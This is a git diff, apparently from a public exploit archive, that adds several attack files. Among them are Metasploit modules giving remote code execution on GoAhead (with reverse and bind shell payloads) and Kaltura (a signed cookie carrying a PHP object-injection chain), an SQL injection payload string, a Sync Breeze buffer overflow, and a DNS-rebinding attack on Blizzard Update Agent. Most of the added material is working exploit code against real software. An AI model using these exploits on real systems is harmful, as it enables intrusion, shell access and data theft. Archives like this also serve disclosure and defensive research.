buffer. */ + p = (VBVACURSORPOSITION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACURSORPOSITION), HGSMI_CH_VBVA, VBVA_CURSOR_POSITION); + if (p) + { + /* Prepare data to be sent to the host. */ + p->fReportPosition = fReportPosition ? 1 : 0; + p->x = x; + p->y = y; + rc = VBoxHGSMIBufferSubmit(pCtx, p); + if (RT_SUCCESS(rc)) + { + if (pxHost) + *pxHost = p->x; + if (pyHost) + *pyHost = p->y; + Log(("%s: return: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)p->x, (unsigned)p->y)); + } + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, p); + } + else + rc = VERR_NO_MEMORY; + LogFunc(("rc = %d\n", rc)); + return rc; +} + + +/** @todo Mouse pointer position to be read from VMMDev memory, address of the memory region + * can be queried from VMMDev via an IOCTL. This VMMDev memory region will contain + * host information which is needed by the guest. + * + * Reading will not cause a switch to the host. + * + * Have to take into account: + * * synchronization: host must write to the memory only from EMT, + * large structures must be read under flag, which tells the host + * that the guest is currently reading the memory (OWNER flag?). + * * guest writes: may be allocate a page for the host info and make + * the page readonly for the guest. + * * the information should be available only for additions drivers. + * * VMMDev additions driver will inform the host which version of the info it expects, + * host must support all versions. + * + */ + ``` \ No newline at end of file diff --git a/exploits/multiple/remote/43877.rb b/exploits/multiple/remote/43877.rb new file mode 100755 index 000000000..b4d57acf6 --- /dev/null +++ b/exploits/multiple/remote/43877.rb @@ -0,0 +1,391 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load', + 'Description' => %q{ + This module triggers an arbitrary shared library load vulnerability + in GoAhead web server versions between 2.5 and that have the CGI module + enabled. + }, + 'Author' => + [ + 'Daniel Hodson ', # Elttam Vulnerability Discovery & Python Exploit + 'h00die', # Metasploit Module + 'hdm', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2017-17562' ], + [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ] + ], + 'Payload' => + { + 'Space' => 5000, + 'DisableNops' => true + }, + 'Platform' => 'linux', + 'Targets' => + [ + + [ 'Automatic (Reverse Shell)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_reverse_stub', + 'ConnectionType' => 'reverse', + } + } + } + ], + + [ 'Automatic (Bind Shell)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_bind_stub', + 'ConnectionType' => 'bind' + } + } + } + ], + + [ 'Automatic (Command)', + { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } + ], + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], + [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], + [ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], + [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], + [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], + [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], + [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ], + + # PowerPC stubs are currently over the 16384 maximum POST size + # [ 'Linux PPC', { 'Arch' => ARCH_PPC } ], + # [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], + # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], + + [ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], + [ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ], + [ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ], + ], + 'DefaultOptions' => + { + 'SHELL' => '/bin/sh', + }, + 'Privileged' => false, + 'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit. + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server']) + ]) + end + + # Setup our mapping of Metasploit architectures to gcc architectures + def setup + super + @@payload_arch_mappings = { + ARCH_X86 => [ 'x86' ], + ARCH_X64 => [ 'x86_64' ], + ARCH_MIPS => [ 'mips' ], + ARCH_MIPSLE => [ 'mipsel' ], + ARCH_MIPSBE => [ 'mips' ], + ARCH_MIPS64 => [ 'mips64' ], + ARCH_MIPS64LE => [ 'mips64el' ], + + # PowerPC stubs are currently over the 16384 maximum POST size + # ARCH_PPC => [ 'powerpc' ], + # ARCH_PPC64 => [ 'powerpc64' ], + # ARCH_PPC64LE => [ 'powerpc64le' ], + + ARCH_SPARC => [ 'sparc' ], + ARCH_SPARC64 => [ 'sparc64' ], + ARCH_ARMLE => [ 'armel', 'armhf' ], + ARCH_AARCH64 => [ 'aarch64' ], + ARCH_ZARCH => [ 's390x' ], + } + + # Architectures we don't offically support but can shell anyways with interact + @@payload_arch_bonus = %W{ + mips64el sparc64 s390x + } + + # General platforms (OS + C library) + @@payload_platforms = %W{ + linux-glibc + } + end + + # Use fancy payload wrappers to make exploitation a joyously lazy exercise + def cycle_possible_payloads + template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562") + template_list = [] + template_type = nil + template_arch = nil + + # Handle the generic command types first + if target.arch.include?(ARCH_CMD) + + # Default to a system() template + template_type = 'system' + + # Handle reverse_tcp() templates + if target['ReverseStub'] + template_type = 'reverse' + end + + # Handle reverse_tcp() templates + if target['BindStub'] + template_type = 'bind' + end + + all_architectures = @@payload_arch_mappings.values.flatten.uniq + + # Prioritize the most common architectures first + %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| + template_list << all_architectures.delete(t_arch) + end + + # Queue up the rest for later + all_architectures.each do |t_arch| + template_list << t_arch + end + + # Handle the specific architecture targets next + else + template_type = 'shellcode' + target.arch.each do |t_name| + @@payload_arch_mappings[t_name].each do |t_arch| + template_list << t_arch + end + end + end + + # Remove any duplicates that may have snuck in + template_list.uniq! + + # Cycle through each top-level platform we know about + @@payload_platforms.each do |t_plat| + + # Cycle through each template and yield + template_list.each do |t_arch| + + + wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz") + unless ::File.exist?(wrapper_path) + raise RuntimeError.new("Missing executable template at #{wrapper_path}") + end + + data = '' + ::File.open(wrapper_path, "rb") do |fd| + data = Rex::Text.ungzip(fd.read) + end + + pidx = data.index('PAYLOAD') + if pidx + data[pidx, payload.encoded.length] = payload.encoded + end + + if %W{reverse bind}.include?(template_type) + pidx = data.index("55555") + if pidx + data[pidx, 5] = datastore['LPORT'].to_s.ljust(5) + end + end + + if 'reverse' == template_type + pidx = data.index("000.000.000.000") + if pidx + data[pidx, 15] = datastore['LHOST'].to_s.ljust(15) + end + end + + vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...") + yield(data) + + # Introduce a small delay for the payload to stage + Rex.sleep(0.50) + + # Short-circuit once we have a session + return if session_created? + end + end + end + + # Start the shell train + def exploit + # Find a valid CGI target + target_uri = find_target_cgi + return unless target_uri + + # Create wrappers for each potential architecture + cycle_possible_payloads do |wrapped_payload| + + # Trigger the vulnerability and run the payload + trigger_payload(target_uri, wrapped_payload) + return if session_created? + end + end + + # Determine whether the target is exploitable + def check + # Find a valid CGI target + target_uri = find_target_cgi + unless target_uri + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Vulnerable + end + + # Upload and LD_PRELOAD execute the shared library payload + def trigger_payload(target_uri, wrapped_payload) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri), + 'vars_get' => { + 'LD_PRELOAD' => '/proc/self/fd/0' + }, + 'data' => wrapped_payload + }) + + nil + end + + # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets + def find_target_cgi + + target_uris = [] + common_dirs = %W^ +/ +/cgi-bin/ +/cgi/ +^ + common_exts = ["", ".cgi"] + common_cgis = %W^ +admin +apply +non-CA-rev +checkCookie +check_user +chn/liveView +cht/liveView +cnswebserver +config +configure/set_link_neg +configure/swports_adjust +eng/liveView +firmware +getCheckCode +get_status +getmac +getparam +guest/Login +home +htmlmgr +index +index/login +jscript +kvm +liveView +login +login.asp +login/login +login/login-page +login_mgr +luci +main +main-cgi +manage/login +menu +mlogin +netbinary +nobody/Captcha +nobody/VerifyCode +normal_userLogin +otgw +page +rulectl +service +set_new_config +sl_webviewer +ssi +status +sysconf +systemutil +t/out +top +unauth +upload +variable +wanstatu +webcm +webmain +webproc +webscr +webviewLogin +webviewLogin_m64 +webviewer +welcome +cgitest +^ + + if datastore['TARGET_URI'].to_s.length > 0 + target_uris << datastore['TARGET_URI'] + end + + common_dirs.each do |cgi_dir| + common_cgis.each do |cgi_path| + common_exts.each do |cgi_ext| + target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}" + end + end + end + + print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...") + + target_uris.each do |uri| + if is_cgi_exploitable?(uri) + print_good("Exploitable CGI located at #{uri}") + return uri + end + end + + print_error("No valid CGI endpoints identified") + return + end + + # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable + def is_cgi_exploitable?(uri) + res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }}) + + if res + vprint_status("Request for #{uri} returned #{res.code}: #{res.message}") + else + vprint_status("Request for #{uri} did not return a response") + end + + !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT")) + end + + # This sometimes determines if the CGI module is enabled, but doesn't seem + # to return the error to the client in newer versions. Unused for now. + def is_cgi_enabled? + return true + res = send_request_cgi({'uri' => "/cgi-bin"}) + !!(res && res.body && res.body.to_s.include?("Missing CGI name")) + end +end \ No newline at end of file diff --git a/exploits/php/remote/43876.rb b/exploits/php/remote/43876.rb new file mode 100755 index 000000000..e17ff6732 --- /dev/null +++ b/exploits/php/remote/43876.rb @@ -0,0 +1,146 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + CookieSecret = 'y3tAno3therS$cr3T' + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaltura Remote PHP Code Execution over Cookie', + 'Description' => %q{ + This module exploits an Object Injection vulnerability in Kaltura. + By exploiting this vulnerability, unauthenticated users can execute + arbitrary code under the context of the web server user. + + Kaltura makes use of a hardcoded cookie secret which allows to sign + arbitrary cookie data. After passing this signature check, the base64- + decoded data is passed to PHPs unserialize() function which allows for + code execution. The constructed object is again based on the SektionEins + Zend code execution POP chain PoC. Kaltura versions prior to 13.1.0 are + affected by this issue. + + A valid entry_id (which is required for this exploit) can be obtained + from any media resource published on the kaltura installation. + + This module was tested against Kaltura 13.1.0-2 installed on Ubuntu 14.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Robin Verton ', + 'Mehmet Ince ' # first kaltura rce module + ], + 'References' => + [ + ['CVE', '2017-14143'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Sep 12 2017', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/']), + OptString.new('ENTRYID', [true, 'Valid entry ID of any media resource (example: 0_lahha4c9)', '']) + ] + ) + end + + def check + r = rand_text_alpha(15 + rand(4)) + entry_id = datastore['ENTRYID'] + cmd = "print_r(#{r}).die()" + + p = "" + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" + + encoded = Rex::Text.encode_base64(p) + hash = Rex::Text.md5("#{encoded}#{CookieSecret}") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), + 'vars_get' => { + 'list_type' => '15', + 'entry_id' => entry_id + }, + 'cookie' => "userzone=#{encoded}#{hash}" + ) + + if res && res.redirect? + print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") + Exploit::CheckCode::Safe + elsif res && res.body.include?(r) + Exploit::CheckCode::Vulnerable + elsif !check_entryid + print_error("Invalid ENTRYID") + Exploit::CheckCode::Safe + else + Exploit::CheckCode::Safe + end + end + + def check_entryid + entry_id = datastore['ENTRYID'] + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), + 'vars_get' => { + 'list_type' => '15', + 'entry_id' => entry_id + } + ) + + return res.body.include? entry_id + end + + def exploit + entry_id = datastore['ENTRYID'] + cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()" + + p = "" + p << "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";" + p << "a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\00*\00_eventsToMail\";" + p << "a:1:{i:0;i:1;}s:22:\"\00*\00_layoutEventsToMail\";a:0:{}s:8:\"\00*\00_mail\";" + p << "O:9:\"Zend_Mail\":0:{}s:10:\"\00*\00_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\00*\00_inflector\";" + p << "O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\00*\00_matchPattern\";s:7:\"/(.*)/e\";" + p << "s:15:\"\00*\00_replacement\";s:#{cmd.length.to_s}:\"#{cmd}\";}s:20:\"\00*\00_inflectorEnabled\";" + p << "b:1;s:10:\"\00*\00_layout\";s:6:\"layout\";}s:22:\"\00*\00_subjectPrependText\";N;}}};}" + + encoded = Rex::Text.encode_base64(p) + hash = Rex::Text.md5("#{encoded}#{CookieSecret}") + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php', 'keditorservices', 'getAllEntries'), + 'vars_get' => { + 'list_type' => '15', + 'entry_id' => entry_id + }, + 'cookie' => "userzone=#{encoded}#{hash}" + ) + + if res && res.redirect? + print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}") + elsif res && res.code != 200 + print_error('Unexpected response...') + else + print_status("Output: #{res.body}") + end + end +end \ No newline at end of file diff --git a/exploits/php/webapps/43870.txt b/exploits/php/webapps/43870.txt new file mode 100644 index 000000000..266ab13da --- /dev/null +++ b/exploits/php/webapps/43870.txt @@ -0,0 +1,29 @@ +# # # # # +# Exploit Title: Professional Local Directory Script 1.0 - SQL Injection +# Dork: N/A +# Date: 23.01.2018 +# Vendor Homepage: http://www.eihitech.com/ +# Software Link: http://www.eihitech.com/ +# Version: 1.0 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: CVE-2018-5973 +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# 1) +# http://localhost/[PATH]/sellers_subcategories.php?IndustryID=[SQL] +# +# -105++/*!08888uNiOn*/(/*!08888SelECt*/+0x3078323833313239,0x283229,0x283329,0x283429,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x283629,0x283729)--+- +# +# 2) +# http://localhost/[PATH]/suppliers.php?IndustryID=[SQL]&CategoryID=[SQL] +# +# # # # # \ No newline at end of file diff --git a/exploits/php/webapps/43872.html b/exploits/php/webapps/43872.html new file mode 100644 index 000000000..880702983 --- /dev/null +++ b/exploits/php/webapps/43872.html @@ -0,0 +1,18 @@ +# Exploit Title: WordPress Plugin Email Subscribers & Newsletters 3.4.7 - Information Disclosure +# Google Dork: +# Date: 2018-01-23 +# Exploit Author: ThreatPress Security +# Vendor Homepage: http://icegram.com/ +# Software Link: https://wordpress.org/plugins/email-subscribers/ +# Version: 3.4.7 +# Tested on: WordPress 4.9.2 +# CVE : + +Email Subscribers & Newsletters, a popular WordPress plugin, has just fixed
 the vulnerability that allows an unauthenticated user to download the entire subscriber 
list with names and e-mail addresses. + +Exploit: + +
+ + +
\ No newline at end of file diff --git a/exploits/windows/local/43875.rb b/exploits/windows/local/43875.rb new file mode 100755 index 000000000..bbfa2bbdc --- /dev/null +++ b/exploits/windows/local/43875.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow', + 'Description' => %q( + This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 + by using the import command option to import a specially crafted xml file. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniel Teixeira' + ], + 'References' => + [ + [ 'CVE', '2017-7310' ], + [ 'EDB', '41773' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + 'DisablePayloadHandler' => 'true' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27", + 'StackAdjustment' => -3500 + }, + 'Targets' => + [ + ['Windows Universal', { 'Ret' => 0x10015FFE } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 29 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The file name.', 'msf.xml']) + ]) + end + + def exploit + jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll + esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76] + jmp = "\xFF\xE0" # JMP ESP + + buffer = "\n" + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(buffer) + end +end \ No newline at end of file diff --git a/exploits/windows/local/43879.txt b/exploits/windows/local/43879.txt new file mode 100644 index 000000000..be34873bc --- /dev/null +++ b/exploits/windows/local/43879.txt @@ -0,0 +1,53 @@ +All blizzard games are installed alongside a shared tool called "Blizzard Update Agent", investor.activision.com claims they have "500 million monthly active users", who presumably all have this utility installed. + +The agent utility creates an JSON RPC server listening on localhost port 1120, and accepts commands to install, uninstall, change settings, update and other maintenance related options. Blizzard use a custom authentication scheme to verify the rpc's are from a legitimate source, it looks like this: + +$ curl -si http://localhost:1120/agent +HTTP/1.0 200 OK +Content-Length: 359 + +{ + "pid" : 3140.000000, + "user_id" : "S-1-5-21-1613814707-140385463-2225822625-1000", + "user_name" : "S-1-5-21-1613814707-140385463-2225822625-1000", + "state" : 1004.000000, + "version" : "2.13.4.5955", + "region" : "us", + "type" : "retail", + "opt_in_feedback" : true, + "session" : "15409717072196133548", + "authorization" : "11A87920224BD1FB22AF5F868CA0E789" +} + +This endpoint is permitted without authentication, but all other requests must have a valid "Authorization" header with the token in that response. As with all HTTP RPC schemes like this, a website can send requests to the daemon with XMLHttpRequest(), but I think the theory is they will be ignored because requests must prove they can read and write the authorization property. + +I don't think this design will work because of an attack called "dns rebinding". Any website can simply create a dns name that they are authorized to communicate with, and then make it resolve to localhost. + +To be clear, this means that *any* website can send privileged commands to the agent. + +I have a domain I use for testing called rbndr.us, you can use this page to generate hostnames: + +https://lock.cmpxchg8b.com/rebinder.html + +Here I want to alternate between 127.0.0.1 and 199.241.29.227, so I use 7f000001.c7f11de3.rbndr.us: + +$ host 7f000001.c7f11de3.rbndr.us +7f000001.c7f11de3.rbndr.us has address 127.0.0.1 +$ host 7f000001.c7f11de3.rbndr.us +7f000001.c7f11de3.rbndr.us has address 199.241.29.227 +$ host 7f000001.c7f11de3.rbndr.us +7f000001.c7f11de3.rbndr.us has address 127.0.0.1 + +Here you can see the resolution alternates between the two addresses I want (note that depending on caching it might take a while to switch, the TTL is set to minimum but some servers round up). + +I just wait for the cached response to expire, and then POST commands to the server. + +Exploitation would involve using network drives, or setting destination to "Downloads" and making the browser install dlls, datafiles, etc. + +I made a very simple demo, I'm sure it's quite brittle, but hopefully you get the idea! + +http://lock.cmpxchg8b.com/yah4od7N.html + +See screenshot attached of how it's supposed to look. + +Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43665.zip \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index d1e0cdb28..752435259 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5259,7 +5259,7 @@ id,file,description,date,author,type,platform,port 43780,exploits/macos/dos/43780.c,"macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability'",2018-01-19,"Google Security Research",dos,macos, 43826,exploits/windows/dos/43826.txt,"Peercast < 0.1211 - Format String",2015-05-28,"GulfTech Security",dos,windows, 43854,exploits/windows/dos/43854.py,"MixPad 5.00 - Buffer Overflow",2018-01-23,bzyo,dos,windows, -43856,exploits/hardware/dos/43856.py,"RAVPower 2.000.056 - Memory Disclosure",2018-01-23,"Daniele Linguaglossa",dos,hardware, +43856,exploits/hardware/dos/43856.py,"RAVPower 2.000.056 - Memory Disclosure",2018-01-23,"Daniele Linguaglossa & Stefano Farletti",dos,hardware, 40570,exploits/osx/dos/40570.py,"The Unarchiver 3.11.1 - '.tar.Z' Crash (PoC)",2016-10-18,"Antonio Z.",dos,osx, 40592,exploits/windows/dos/40592.py,"SAP NetWeaver KERNEL 7.0 < 7.5 - Denial of Service",2016-10-20,ERPScan,dos,windows, 40593,exploits/windows/dos/40593.py,"SAP Adaptive Server Enterprise 16 - Denial of Service",2016-10-20,ERPScan,dos,windows, @@ -9004,7 +9004,7 @@ id,file,description,date,author,type,platform,port 38817,exploits/linux/local/38817.txt,"Poppler 0.14.3 - '/utils/pdfseparate.cc' Local Format String",2013-10-26,"Daniel Kahn Gillmor",local,linux, 38832,exploits/linux/local/38832.py,"RHEL 7.0/7.1 - 'abrt/sosreport' Local Privilege Escalation",2015-12-01,rebel,local,linux, 38835,exploits/multiple/local/38835.py,"Centos 7.1 / Fedora 22 - abrt Privilege Escalation",2015-12-01,rebel,local,multiple, -38847,exploits/windows/local/38847.py,"Acunetix WVS 10 - Local Privilege Escalation",2015-12-02,"Daniele Linguaglossa",local,windows, +38847,exploits/windows/local/38847.py,"Acunetix WVS 10 - Local Privilege Escalation",2015-12-02,"Daniele Linguaglossa & Stefano Farletti",local,windows, 38871,exploits/windows/local/38871.txt,"Cyclope Employee Surveillance 8.6.1 - Insecure File Permissions",2015-12-06,loneferret,local,windows, 38903,exploits/windows/local/38903.txt,"iniNet SpiderControl SCADA Web Server Service 2.02 - Insecure File Permissions",2015-12-08,LiquidWorm,local,windows, 38904,exploits/windows/local/38904.txt,"iniNet SpiderControl PLC Editor Simatic 6.30.04 - Insecure File Permissions",2015-12-08,LiquidWorm,local,windows, @@ -9172,6 +9172,9 @@ id,file,description,date,author,type,platform,port 43816,exploits/windows/local/43816.txt,"dbPowerAmp < 2.0/10.0 - Buffer Overflow",2014-09-27,"GulfTech Security",local,windows, 43817,exploits/windows/local/43817.txt,"PsychoStats < 2.2.4 Beta - Cross Site Scripting",2014-12-22,"GulfTech Security",local,windows, 43857,exploits/windows/local/43857.py,"HP Connected Backup 8.6/8.8.6 - Local Privilege Escalation",2018-01-23,"Peter Lapp",local,windows, +43875,exploits/windows/local/43875.rb,"Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow (Metasploit)",2018-01-24,Metasploit,local,windows, +43878,exploits/multiple/local/43878.md,"Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape",2018-01-24,SecuriTeam,local,multiple, +43879,exploits/windows/local/43879.txt,"Blizzard Update Agent - JSON RPC DNS Rebinding",2018-01-23,"Google Security Research",local,windows,1120 40538,exploits/windows/local/40538.txt,"Graylog Collector 0.4.2 - Unquoted Service Path Privilege Escalation",2016-10-14,"Joey Lane",local,windows, 40540,exploits/windows/local/40540.txt,"NETGATE AMITI Antivirus 23.0.305 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows, 40541,exploits/windows/local/40541.txt,"NETGATE Data Backup build 3.0.605 - Unquoted Service Path Privilege Escalation",2016-10-15,Amir.ght,local,windows, @@ -9403,7 +9406,7 @@ id,file,description,date,author,type,platform,port 42454,exploits/macos/local/42454.txt,"Xamarin Studio for Mac 6.2.1 (build 3) / 6.3 (build 863) - Local Privilege Escalation",2017-08-14,Securify,local,macos, 42455,exploits/windows/local/42455.py,"ALLPlayer 7.4 - Local Buffer Overflow (SEH Unicode)",2017-08-15,f3ci,local,windows, 42456,exploits/windows/local/42456.py,"Internet Download Manager 6.28 Build 17 - Local Buffer Overflow (SEH Unicode)",2017-08-15,f3ci,local,windows, -42460,exploits/osx/local/42460.py,"NoMachine 5.3.9 - Local Privilege Escalation",2017-08-09,"Daniele Linguaglossa",local,osx, +42460,exploits/osx/local/42460.py,"NoMachine 5.3.9 - Local Privilege Escalation",2017-08-09,"Daniele Linguaglossa & Stefano Farletti",local,osx, 42521,exploits/windows/local/42521.py,"Easy DVD Creater 2.5.11 - Local Buffer Overflow (SEH)",2017-08-19,"Anurag Srivastava",local,windows, 42536,exploits/windows/local/42536.py,"Disk Pulse Enterprise 9.9.16 - 'Import Command' Local Buffer Overflow",2017-08-22,"Anurag Srivastava",local,windows, 42537,exploits/windows/local/42537.txt,"PDF-XChange Viewer 2.5 Build 314.0 - Code Execution",2017-08-21,"Daniele Votta",local,windows, @@ -15123,7 +15126,7 @@ id,file,description,date,author,type,platform,port 34622,exploits/windows/remote/34622.txt,"Axigen Webmail 1.0.1 - Directory Traversal",2010-09-15,"Bogdan Calin",remote,windows, 34647,exploits/windows/remote/34647.txt,"Ammyy Admin 3.5 - Remote Code Execution (Metasploit)",2014-09-13,scriptjunkie,remote,windows, 34654,exploits/windows/remote/34654.c,"SWiSH Max3 - DLL Loading Arbitrary Code Execution",2010-09-20,anT!-Tr0J4n,remote,windows, -34668,exploits/windows/remote/34668.txt,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)",2014-09-15,"Daniele Linguaglossa",remote,windows,80 +34668,exploits/windows/remote/34668.txt,"Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)",2014-09-15,"Daniele Linguaglossa & Stefano Farletti",remote,windows,80 34669,exploits/multiple/remote/34669.rb,"Railo 4.2.1 - Remote File Inclusion (Metasploit)",2014-09-15,Metasploit,remote,multiple,80 34670,exploits/multiple/remote/34670.rb,"ManageEngine Eventlog Analyzer - Arbitrary File Upload (Metasploit)",2014-09-15,Metasploit,remote,multiple,8400 34671,exploits/java/remote/34671.rb,"SolarWinds Storage Manager - Authentication Bypass (Metasploit)",2014-09-15,Metasploit,remote,java,9000 @@ -15760,7 +15763,7 @@ id,file,description,date,author,type,platform,port 39735,exploits/windows/remote/39735.rb,"Advantech Webaccess Dashboard Viewer - Arbitrary File Upload (Metasploit)",2016-04-26,Metasploit,remote,windows,80 39736,exploits/linux/remote/39736.txt,"libgd 2.1.1 - Signedness Heap Overflow",2016-04-26,"Hans Jerry Illikainen",remote,linux, 39742,exploits/php/remote/39742.txt,"PHP 7.0.5 - ZipArchive::getFrom* Integer Overflow",2016-04-28,"Hans Jerry Illikainen",remote,php, -39755,exploits/windows/remote/39755.py,"Acunetix WVS 10 - Remote Command Execution",2016-05-02,"Daniele Linguaglossa",remote,windows, +39755,exploits/windows/remote/39755.py,"Acunetix WVS 10 - Remote Command Execution",2016-05-02,"Daniele Linguaglossa & Stefano Farletti",remote,windows, 39756,exploits/linux/remote/39756.rb,"Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)",2016-05-02,Metasploit,remote,linux,8080 39783,exploits/windows/remote/39783.py,"Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution",2016-05-09,mr_me,remote,windows, 39792,exploits/ruby/remote/39792.rb,"Ruby on Rails - Development Web Console (v2) Code Execution (Metasploit)",2016-05-09,Metasploit,remote,ruby,3000 @@ -15833,6 +15836,9 @@ id,file,description,date,author,type,platform,port 43659,exploits/hardware/remote/43659.md,"Seagate Personal Cloud - Multiple Vulnerabilities",2018-01-11,SecuriTeam,remote,hardware, 43665,exploits/multiple/remote/43665.md,"Transmission - RPC DNS Rebinding",2018-01-11,"Google Security Research",remote,multiple,9091 43693,exploits/hardware/remote/43693.txt,"Master IP 